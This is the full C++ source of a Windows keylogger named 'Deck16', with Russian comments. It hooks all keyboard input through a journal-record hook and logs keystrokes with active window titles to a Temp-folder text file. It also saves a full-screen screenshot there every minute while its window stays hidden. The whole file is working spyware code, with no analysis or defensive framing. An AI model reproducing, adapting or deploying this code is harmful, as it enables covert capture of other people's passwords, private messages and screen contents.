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| ////////////////////////////////////////////////////////////////////////////////
// Deck16_Keylogger.cpp
//
// Программа будет работать до перезагрузки или выключения компьютера.
// Для остановки программы вручную, нажмите комбинацию клавиш: CTRL + ALT + F12
// Запись данных производится в текстовой файл в каталоге Temp Windows.
#include <windows.h>
TCHAR GWndname[]=TEXT("WCDeck16");
TCHAR GAppname[]=TEXT("Deck16");
TCHAR GFilename[1024];
#define err(x)MessageBoxA(HWND_DESKTOP,x,"Err",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND|MB_TOPMOST);
char g_szMsg1[]="\r\n--------------------------------------------------------[ %s ]---------------------------\r\n";
char g_szMsg2[]="\r\n--------------------------------------------------------[ StopKeylog ]----------------\r\n";
TCHAR GMsgBox[]=TEXT("Deck16 Keylogger :: Info");
TCHAR GMsgInfo[]=TEXT("\
Программа будет работать до перезагрузки или выключения компьютера.\n\
Для остановки программы вручную, нажмите комбинацию клавиш: CTRL + ALT + F12\n\n\
* Это сообщение закроется автоматически через 10 секунд\n\n\
Запись данных производится в файл:");
#define ID_HOTKEY 0x0CDC31337
#define TIMER_ID 2019
#define TIMER_DELAY 1000
UINT_PTR g_nTimer;
#define TIMER_ID_SCREENSHOT 2020
#define TIMER_DELAY_SCREENSHOT 60000 // Скриншот через каждую минуту...
UINT_PTR g_nTimerScreenshot;
HHOOK GHook;
HANDLE GThread;
HWND GLastfocus;
BOOL GRunning;
BOOL GMode;// True - Окно видимо
BOOL GManualStop;
int CreateScreenshot(TCHAR* Filename);
static DWORD WINAPI ThreadMessageBox(LPVOID parm) {
TCHAR* Text=reinterpret_cast<TCHAR*>(parm);
TCHAR* Msg=Text;
TCHAR* Title=Text+lstrlen(Msg)+1;
MessageBox(GetDesktopWindow(),Msg,Title,MB_OK|MB_SETFOREGROUND|MB_SYSTEMMODAL);
free(parm);
return 0;
}
void SysMessageBox(TCHAR* Text, TCHAR* Title) {
int nLen=lstrlen(Title)+lstrlen(Text)+2;
TCHAR* ptr=(TCHAR*)malloc(nLen * sizeof(TCHAR));
if(!ptr) {
err("Error allocating memory");
return;
}
lstrcpy(ptr,Title);
lstrcpy(ptr+lstrlen(Title)+1,Text);
LPVOID lpParameter=reinterpret_cast<LPVOID>(ptr);
DWORD tid;
CreateThread(NULL,0,ThreadMessageBox,lpParameter,0,&tid);
}
void AppInfo() {
TCHAR Buffer[264];
wsprintf(Buffer,TEXT("%s\"%s\""),GMsgInfo,GFilename);
SysMessageBox(GMsgBox,Buffer);
}
void Cleanup() {
if(g_nTimer) {
KillTimer(GetActiveWindow(), g_nTimer);
g_nTimer=NULL;
}
if(g_nTimerScreenshot) {
KillTimer(GetActiveWindow(), g_nTimerScreenshot);
g_nTimerScreenshot=NULL;
}
}
void appWriteLog(char* svStr) {
if(lstrlen(GFilename)>0) {
HANDLE hFile=CreateFile(GFilename,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(INVALID_HANDLE_VALUE!=hFile) {
SetFilePointer(hFile,0,NULL,FILE_END);
DWORD dwBytesWritten;
WriteFile(hFile,svStr,lstrlenA(svStr),&dwBytesWritten,NULL);
CloseHandle(hFile);
}
}
}
char* StampDateTime() {
char Date[128];
char Time[128];
char TimeFormat[]="hh':'mm':'ss";
char DateFormat[]="dddd dd-MM-yyyy";
GetDateFormatA(LOCALE_SYSTEM_DEFAULT,0,NULL,DateFormat,Date,260);
GetTimeFormatA(LOCALE_SYSTEM_DEFAULT,TIME_FORCE24HOURFORMAT,NULL,TimeFormat,Time,260);
static char Result[256];
wsprintfA(Result,"%.100s %.100s",Date,Time);
return Result;
}
LRESULT CALLBACK KbdWndProc(int code, WPARAM wParam, LPARAM lParam) {
char svTemp[256];
char svBuffer[256];
if(code<0) return CallNextHookEx(GHook, code, wParam, lParam);
if(HC_ACTION==code) {
EVENTMSG* pEvt=(EVENTMSG*)lParam;
if(WM_KEYDOWN==pEvt->message) {
int nKey=LOBYTE(pEvt->paramL);
int nScan=HIBYTE(pEvt->paramL);
nScan<<=16;
HWND hFocus=GetActiveWindow();
if(GLastfocus!=hFocus) {
int nCount=GetWindowTextA(hFocus, svTemp, 256);
if(nCount>0) {
wsprintfA(svBuffer, "\r\n-----[ %s ]-----\r\n", svTemp);
appWriteLog(svBuffer);
} GLastfocus=hFocus;
}
DWORD dwCount=GetKeyNameTextA(nScan, svBuffer, 256);
if(dwCount) {
if(VK_SPACE==nKey) {
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
}
if(1==dwCount) {
WORD ch;
BYTE kbuf[256];
GetKeyboardState(kbuf);
int nCheck=ToAscii(nKey, nScan, kbuf, &ch, 0);
if(nCheck>0) {
wsprintfA(svBuffer, "%c", ch);
appWriteLog(svBuffer);
}
} else {
wsprintfA(svTemp, "[%s]", svBuffer);
appWriteLog(svTemp);
if(VK_RETURN==nKey)
appWriteLog("\r\n");
}
}
}
} return CallNextHookEx(GHook, code, wParam, lParam);
}
DWORD WINAPI ThreadEntry(LPVOID param) {
BYTE keytbl[256];
for(int i=0; i<256; ++i) keytbl[i]=0;
GHook=SetWindowsHookEx(WH_JOURNALRECORD,KbdWndProc,GetModuleHandle(NULL),0);
if(!GHook) {
err("Cannot SetWindowsHookEx");
return -1;
}
char svBuffer[256];
wsprintfA(svBuffer, g_szMsg1, StampDateTime());
appWriteLog(svBuffer);
MSG msg;
GRunning=TRUE;
while(GRunning) {
Sleep(20);
while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) {
GetMessage(&msg,NULL,0,0);
if(WM_CANCELJOURNAL==msg.message) {
SetKeyboardState(keytbl);
GHook=SetWindowsHookEx(WH_JOURNALRECORD,KbdWndProc,GetModuleHandle(NULL),0);
if(!GHook)
return -1;
} else DispatchMessage(&msg);
}
} UnhookWindowsHookEx(GHook);
return 0;
}
int Stop() {
appWriteLog(g_szMsg2);
GRunning=FALSE;
Cleanup();
if(WAIT_OBJECT_0!=WaitForSingleObject(GThread,5000))
return -1;
if(TRUE==GManualStop) {
TCHAR Buffer[1024];
wsprintf(Buffer, TEXT("Программа остановлеа. Открыть лог-файл: \"%s\" ?"), GFilename);
if(IDYES==MessageBox(HWND_DESKTOP, Buffer, GAppname, MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND|MB_TOPMOST)) {
ShellExecute(0,TEXT("open"),GFilename,NULL,NULL,SW_SHOWNORMAL);
}
} return 0;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
LRESULT retval=0;
switch(uMsg) {
case WM_CREATE: {
UINT fsModifiers=MOD_CONTROL|MOD_ALT;
UINT vkey=VK_F12;
if(!RegisterHotKey(hWnd,ID_HOTKEY,fsModifiers,vkey)) {
err("Cannot RegisterHotKey");
return -1;
} else {
g_nTimer=SetTimer(hWnd, TIMER_ID, TIMER_DELAY, NULL);
if(!g_nTimer) {
err("Cannot SetTimer");
}
g_nTimerScreenshot=SetTimer(hWnd, TIMER_ID_SCREENSHOT, TIMER_DELAY_SCREENSHOT, NULL);
if(!g_nTimerScreenshot) {
err("Cannot SetTimer #2");
}
AppInfo();
Cleanup();
}
DWORD tid=0;
LPVOID lpParameter=reinterpret_cast<LPVOID>(GFilename);
GThread=CreateThread(NULL, 0, ThreadEntry, lpParameter, 0, &tid);
if(!GThread) {
err("Cannot CreateThread");
return -1;
}
} break;
case WM_TIMER:
{
static int nCount;
if(TIMER_ID==wParam) {
++nCount;
if(10==nCount) {
Cleanup();
HWND hwnd=FindWindow(NULL, GMsgBox);
if(hwnd) PostMessage(GetTopWindow(hwnd), BM_CLICK, 0, 0);
}
}
if(TIMER_ID_SCREENSHOT==wParam) {// Скриншот через каждую минуту...
TCHAR Temppath[512];
GetTempPath(512, Temppath);
if(lstrlen(Temppath)) {
TCHAR Filename[1024];
static int nCount;
wsprintf(Filename, TEXT("%s\\%s_000%d.bmp"), Temppath, GAppname, nCount);
CreateScreenshot(Filename);
++nCount;
}
}
} break;
case WM_HOTKEY: {
if(IDYES==MessageBox(hWnd, TEXT("Закрыть программу?"), GAppname, MB_YESNO|MB_ICONQUESTION)) {
GManualStop=1;
SendMessage(hWnd, WM_CLOSE, 0, 0);
}
} break;
case WM_QUERYENDSESSION:
SendMessage(hWnd, WM_CLOSE, 0, 0);
return 1;
case WM_CLOSE:
DestroyWindow(hWnd);
break;
case WM_DESTROY:
Stop();
PostQuitMessage(0);
break;
default:
retval=DefWindowProc(hWnd, uMsg, wParam, lParam);
}
return retval;
}
//
// Entry point
//
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HWND hWnd=FindWindow(GWndname, NULL);
if(hWnd) {
PostMessage(hWnd, WM_HOTKEY, 0, 0);
return EXIT_FAILURE;
}
TCHAR Buffer[512];
GetTempPath(512, Buffer);
if(!lstrlen(Buffer))
lstrcpy(Buffer,TEXT("c:\\windows\\"));
wsprintf(GFilename,TEXT("%s%s.txt"),Buffer,GAppname);
WNDCLASSEX wcex={sizeof(WNDCLASSEX), CS_VREDRAW|CS_HREDRAW, WndProc, 0, 0, hInstance,
LoadIcon(NULL, IDI_APPLICATION), LoadCursor(NULL, IDC_ARROW), GetSysColorBrush(COLOR_BTNFACE), NULL, GWndname, NULL,};
ATOM Atom=RegisterClassEx(&wcex);
if(!Atom) {
err("Cannot RegisterClass");
return EXIT_FAILURE;
}
hWnd=CreateWindowEx(WS_EX_CLIENTEDGE, MAKEINTATOM(Atom), GAppname,
WS_OVERLAPPEDWINDOW, ((GetSystemMetrics(SM_CXSCREEN)-300)/2),
((GetSystemMetrics(SM_CYSCREEN)-200)/2), 300, 200, HWND_DESKTOP, NULL, hInstance, NULL);
if(!hWnd) {
err("Cannot CreateWindow");
return EXIT_FAILURE;
}
if(GMode) {
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
} else
ShowWindow(hWnd, SW_HIDE);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0)>0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int)msg.wParam;
}
//
// CreateScreenshot
//
int CreateScreenshot(TCHAR* Filename)
{
HDC hdc=CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
if(!hdc) return 1;
DWORD dwNumColors;
DWORD dwWidth = GetDeviceCaps(hdc, HORZRES);
DWORD dwHeight = GetDeviceCaps(hdc, VERTRES);
DWORD dwBPP = GetDeviceCaps(hdc, BITSPIXEL);
if(dwBPP<=8) {
dwNumColors = GetDeviceCaps(hdc, NUMCOLORS);
dwNumColors = 256;
} else
dwNumColors = 0;
HDC hdc2=CreateCompatibleDC(hdc);
if(hdc2==NULL) {
DeleteDC(hdc);
return 1;
}
BITMAPINFO bmpinfo;
bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmpinfo.bmiHeader.biWidth = dwWidth;
bmpinfo.bmiHeader.biHeight = dwHeight;
bmpinfo.bmiHeader.biPlanes = 1;
bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP;
bmpinfo.bmiHeader.biCompression = BI_RGB;
bmpinfo.bmiHeader.biSizeImage = 0;
bmpinfo.bmiHeader.biXPelsPerMeter = 0;
bmpinfo.bmiHeader.biYPelsPerMeter = 0;
bmpinfo.bmiHeader.biClrUsed = dwNumColors;
bmpinfo.bmiHeader.biClrImportant = dwNumColors;
LPVOID pBits;
HBITMAP bitmap=CreateDIBSection(hdc, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0);
if(bitmap==NULL) {
DeleteDC(hdc);
DeleteDC(hdc2);
return 1;
}
HGDIOBJ gdiobj = SelectObject(hdc2, (HGDIOBJ)bitmap);
if((NULL==gdiobj) || (gdiobj==(void*)GDI_ERROR)) {
DeleteDC(hdc);
DeleteDC(hdc2);
return 1;
}
if(!BitBlt(hdc2, 0,0, dwWidth, dwHeight, hdc, 0,0, SRCCOPY)) {
DeleteDC(hdc);
DeleteDC(hdc2);
return 1;
}
RGBQUAD colors[256];
if(0!=dwNumColors)
dwNumColors = GetDIBColorTable(hdc2, 0, dwNumColors, colors);
BITMAPFILEHEADER bitmapfileheader;
BITMAPINFOHEADER bitmapinfoheader;
bitmapfileheader.bfType = 0x4D42;
bitmapfileheader.bfSize = ((dwWidth * dwHeight * dwBPP)/8) + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));
bitmapfileheader.bfReserved1 = 0;
bitmapfileheader.bfReserved2 = 0;
bitmapfileheader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));
bitmapinfoheader.biSize = sizeof(BITMAPINFOHEADER);
bitmapinfoheader.biWidth = dwWidth;
bitmapinfoheader.biHeight = dwHeight;
bitmapinfoheader.biPlanes = 1;
bitmapinfoheader.biBitCount = (WORD)dwBPP;
bitmapinfoheader.biCompression = BI_RGB;
bitmapinfoheader.biSizeImage = 0;
bitmapinfoheader.biXPelsPerMeter = 0;
bitmapinfoheader.biYPelsPerMeter = 0;
bitmapinfoheader.biClrUsed = dwNumColors;
bitmapinfoheader.biClrImportant = 0;
HANDLE hfile=CreateFile(Filename,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hfile==INVALID_HANDLE_VALUE) {
DeleteObject(bitmap);
DeleteDC(hdc2);
DeleteDC(hdc);
return 1;
}
DWORD dwBytes;
WriteFile(hfile,&bitmapfileheader,sizeof(BITMAPFILEHEADER), &dwBytes, NULL);
WriteFile(hfile,&bitmapinfoheader,sizeof(BITMAPINFOHEADER), &dwBytes, NULL);
if(0!=dwNumColors)
WriteFile(hfile,colors,sizeof(RGBQUAD)*dwNumColors,&dwBytes,NULL);
WriteFile(hfile,pBits,(dwWidth*dwHeight*dwBPP)/8,&dwBytes,NULL);
CloseHandle(hfile);
DeleteObject(bitmap);
DeleteDC(hdc2);
DeleteDC(hdc);
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// <<eof>> Deck16_Keylogger.cpp
//////////////////////////////////////////////////////////////////////////////// |